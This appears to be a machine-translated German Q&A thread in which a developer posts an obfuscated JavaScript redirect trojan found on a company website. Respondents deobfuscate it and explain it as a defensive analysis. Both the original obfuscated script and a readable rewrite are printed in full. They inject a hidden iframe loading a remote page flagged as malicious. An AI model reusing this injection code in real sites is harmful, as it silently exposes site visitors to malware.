2010-07-20 3 views
7

Ich habe kürzlich mit allot von JavaScript gespielt und begann zu denken, dass ich ein Stück JavaScript nicht finden konnte, das ich nicht debuggen könnte.JavaScript Trojaner Dissektion

Nun, ich war angenehm überrascht und verärgert heute, als wir eine Reihe von JavaScript-Redirect-Trojaner auf unserer Unternehmenswebseite entdeckt haben.

Der Großteil des Codes, den wir fanden, war ich in der Lage, leicht zu sezieren und Standard-Entkommen zu verwenden, um die Code-Funktion zu verschleiern.

Aber unter dem Code, den wir gefunden haben, hat der Code unten mich völlig auf dem stehen, was er tut. (Der einzige Teil, den ich anscheinend ausarbeiten kann, ist, dass er einige der Parameter ersetzt).

Also wäre bitte jemand freundlich genug, um den folgenden Code für mich zu sezieren? Ich würde lieben, genau zu wissen, was los ist ...

<script> 

function yJ() {}; 
this.sMZ = "sMZ"; 
yJ.prototype = { 
    w: function() { 
     var rJ = 13390; 
     this.m = "m"; 
     this.fP = ''; 
     this.q = "q"; 
     this.oJ = ""; 
     var vS = function() { 
      return 'vS' 
     }; 
     var d = 'replace'; 
     var qB = ""; 
     x = ''; 
     var s = document; 
     var xZ = "xZ"; 
     mC = ''; 
     var dV = "dV"; 
     var b = window; 
     this.p = false; 
     this.kX = ''; 
     nP = "nP"; 
     var zE = ""; 
     this.nU = false; 
     var yV = function() { 
      return 'yV' 
     }; 
     String.prototype.gT = function (l, v) { 
      return this[d](l, v) 
     }; 
     this.pC = ''; 
     var qV = false; 
     var fPU = new Array(); 
     h = ""; 
     var sV = 'sKe}tKTIiWmEe}oEu}tK'.gT(/[KE\}IW]/g, ''); 
     var xV = 43258; 
     sT = ''; 
     var mV = ''; 
     this.wJ = "wJ"; 
     var f = '<jhItImIlI I>j<IhjezaIdz ;>;<z/;hjeIaIdI>;<zb!ojdjyj ;>I<!/jbIo!d!yI>z<j/Ihjt;m;lj>!'.gT(/[\!Ijz;]/g, ''); 
     var xB = ''; 
     wI = "wI"; 
     oT = false; 
     var nQ = 49042; 
     try { 
      zI = ''; 
      var bF = new Array(); 
      var aY = function() { 
       return 'aY' 
      }; 
      var rN = false; 
      rF = ""; 
      var cX = function() { 
       return 'cX' 
      }; 
      var y = 'bToTdTy+'.gT(/[\+\]aT%]/g, ''); 
      this.rL = ''; 
      var vH = function() { 
       return 'vH' 
      }; 
      var r = 'sStEy9l?eE'.gT(/[ES9\?m]/g, ''); 
      yD = ""; 
      var eA = ''; 
      var bQ = 'i.fWrhalmlel'.gT(/[lW\.xh]/g, ''); 
      vZ = ''; 
      this.bG = ""; 
      this.vL = false; 
      var t = 'w5r[i5t[e%'.gT(/[%C5\[U]/g, ''); 
      gI = ''; 
      dVL = "dVL"; 
      var n = 'cZrzeZaZtze.E.l.e;m;eSnzt;'.gT(/[;SZz\.]/g, ''); 
      lH = ""; 
      kD = "kD"; 
      this.pH = false; 
      var k = 's9ric9'.gT(/[9Ni~O]/g, ''); 
      var vB = ''; 
      var kH = function() { 
       return 'kH' 
      }; 
      var qH = new Array(); 
      aD = ''; 
      this.eQ = false; 
      var z = 'sNeatoA%totor%i%b%u%toeN'.gT(/[Na%ox]/g, ''); 
      var cT = ''; 
      var kL = function() { 
       return 'kL' 
      }; 
      var bR = new Array(); 
      this.cP = 22454; 
      var dH = 'hNi9d0d>e*n*'.gT(/[\*9N\>0]/g, ''); 
      lG = ''; 
      tG = 7587; 
      hV = ''; 
      this.oR = "oR"; 
      var o = 'vKiKsAi&bGiKlAiKtHyH'.gT(/[HGK&A]/g, ''); 
      var dC = function() {}; 
      var eR = new Date(); 
      var e = 'atp9p9eWn9d:C9htitl5d:'.gT(/[\:t59W]/g, ''); 
      uM = ""; 
      var i = function() {}; 
      this.cI = ""; 
      tU = false; 

      function qN() {}; 
      xL = 57256; 
      var c = this.a(); 
      this.eL = ''; 
      var rY = function() {}; 
      fG = false; 
      nO = false; 
      this.j = ""; 
      this.iQ = 5330; 
      var sY = function() {}; 
      var u = document[n](bQ); 
      this.tH = false; 
      zX = ""; 
      u[r][o] = dH; 
      var kV = "kV"; 
      pN = ''; 
      var yG = new Array(); 
      this.nOE = 818; 
      u[z](k, c); 
      this.bQK = ""; 
      var yU = 15629; 
      var sM = new Array(); 
      var eY = "eY"; 
      var qP = ''; 
      s[y][e](u); 
      var lU = "lU"; 
      var zR = false; 
      var xS = ""; 
      iX = 34795; 

      function pO() {}; 
      this.gM = ""; 
     } catch (g) { 
      var xI = false; 
      this.gO = false; 
      this.iZ = false; 
      this.iU = false; 
      var mQ = new Date(); 
      var qF = function() {}; 
      s.write(f); 
      var tS = "tS"; 

      function aR() {}; 
      nA = "nA"; 
      var xT = new Date(); 
      mZ = false; 
      var gN = new Array(); 
      var wE = this; 
      var eB = 3562; 
      this.qE = "qE"; 
      this.cS = false; 
      this.vK = false; 
      qEJ = false; 
      this.hW = false; 
      b[sV](function() { 
       function bI() {}; 
       hJ = ""; 
       var kVQ = "kVQ"; 
       var iG = ""; 
       var eBS = new Array(); 
       rA = ""; 
       wE.w(); 
       jY = ""; 
       var hB = "hB"; 
       var iZF = ''; 
       qY = ""; 
       jYG = ""; 
       uK = 30969; 
       var qD = "qD"; 
      }, 326); 
      this.qC = ""; 
      var aX = function() {}; 
      var cN = ""; 
     } 
     gB = false; 
     var fF = false; 
     this.hX = false; 
    }, 
    a: function() { 
     rH = "rH"; 
     this.bV = ''; 
     var qW = ""; 
     return 'h+tbtJpx:J/+/JfxaxnJc+yJc+abkJeb.xnJeMtM/x.xpxh+/b1M/+'.gT(/[\+JbMx]/g, ''); 
     var sMS = new Array(); 
     this.wL = false; 
     uS = "uS"; 

     function pI() {}; 
    } 
}; 
var uI = false; 
var kN = new yJ(); 
this.aQ = "aQ"; 
kN.w(); 
hT = 15101; 

</script> 
+3

Ich habe gerade gelesen, die ersten 30 Buchstaben des Codes, schlug mir einen Kaffee, setzte sich hin und bemerkte, es gibt eine Bildlaufleiste. – Marko

Antwort

17

Es bettet http://fancycake.xxx/something, und das ist die Linie, wo Sie es sehen können:

return 'h+tbtJpx:J/+/JfxaxnJc+yJc+abkJeb.xnJeMtM/x.xpxh+/b1M/+'.gT(/[\+JbMx]/g, ''); 

Sie sehen, wie jedes zweite Zeichen, wenn von dieser Saite gezupft, die URL bildet. Ich habe das nicht ausgeführt, also bin ich mir nicht sicher, unter welchen Bedingungen es das tut, aber Sie können sehen, dass String.replace in String.gT umbenannt wurde und eine Regex gegen die Zeichen übergeben wird, die die Zeichenfolge verschleiern. Wenn Sie das gleiche Verfahren anwenden, ungerade Zeichen zupfen, können Sie sehen, dass es ein verstecktes iframe ist, einige Javascript Event-Handler, setAttribute, etc:

var z = 'sNeatoA%totor%i%b%u%toeN'.gT(/[Na%ox]/g, ''); 
var o = 'vKiKsAi&bGiKlAiKtHyH'.gT(/[HGK&A]/g, ''); 
var e = 'atp9p9eWn9d:C9htitl5d:'.gT(/[\:t59W]/g, ''); 

Dies ist, wie String.replace aliased ist:

var d = 'replace'; 

... 
String.prototype.gT = function (l, v) { 
    return this[d](l, v) 
}; 

Im Kontext dieser Funktion ist this die Zeichenfolge, auf der gT aufgerufen wird, und d ist die Zeichenfolge replace. Auf dem Prototyp einer Zeichenfolge gibt this['replace'] die replace() Methode zurück, die dann mit den zwei Argumenten zu gT aufgerufen wird. Das Ergebnis wird zurückgegeben.

aktualisieren

transformiert ich das Skript wie folgt:

  1. alle mit ihren Klar Formen string.gT() Anrufe ersetzt.
  2. Alle Variablen entfernt, die nicht referenziert sind.
  3. Gave funktioniert einige Common-Sense-Namen.

Dies ist das Ergebnis, sollte es ziemlich klar sein, wie es jetzt funktioniert:

function FancyCake() {}; 
FancyCake.prototype = { 
    embed: function() { 
     var d = 'replace'; 
     var s = document; 
     var b = window; 
     var sV = 'setTimeout'; 
     var f = "<html ><head ></head><body ></body></html>"; 
     try { 
      zI = ''; 
      var bF = new Array(); 
      var y = 'body'; 
      var r = 'style'; 
      var bQ = 'iframe'; 
      var t = 'write'; 
      var n = 'createElement'; 
      var k = 'src'; 
      var z = 'setAttribute'; 
      var dH = 'hidden'; 
      var o = 'visibility'; 
      var e = 'appendChild'; 
      var c = this.getUrl(); 
      var u = document[n](bQ); 
      u[r][o] = dH; 
      u[z](k, c); 
      s[y][e](u); 
     } catch (e) { 
      console.error(e); 
      s.write(f); 
      var cake = this; 
      b[sV](function() { 
       cake.embed(); 
      }, 326); 
     } 
    }, 
    getUrl: function() { 
     return "http://fancycake.net/.ph/1/"; 
    } 
}; 

var cake = new FancyCake(); 
cake.embed(); 
+1

+ zur Erläuterung –

+0

Es kam mir nicht in den Sinn, dass das, was ich mir ansah, Regex unter all dem Chaos war. Was ich jetzt nicht bekomme, ist, ok, ich bekomme die Grundidee des Schlüsselwortes prototype, aber wie bewirkt das Zurückgeben von [d] (l, v) eine Außerkraftsetzung des Regex-Mustervergleichs? Oder was versuchen sie in dieser Codezeile zu erreichen? PS: Danke für die Erklärung, weil ich es offensichtlich in einen Debugger gesteckt habe, aber immer noch Schwierigkeiten hatte, es zu verstehen. –

+0

Ich habe die Antwort aktualisiert, um eine Erläuterung zum Ersetzen einzufügen. –

4

Es fügt einen unsichtbaren iFrame auf die folgende URL auf Ihre Website:

<iframe style="visibility: hidden;" src="http://fancycake.net/.ph/1/"></iframe> 

Die Website fancycake markiert als angegriffen und böswillige unter Firefox

+0

Wie hast du es herausgefunden? –

+1

, indem Sie es in einem JavaScript-Debugger ausführen und beobachten, was gerade passiert. Danach surfte ich nach der iframes-URL und sah die Firefox-Warnung :) – Erik

1

Führen Sie es in einem JavaScript-Debugger aus; Schließlich wird der Code sich selbst dekompilieren und versuchen, zu starten. Ich schlage vor, die neueste Version von FireFox vielleicht auf einer Linux-Box zu verwenden, um auf der sicheren Seite zu sein.

Verwandte Themen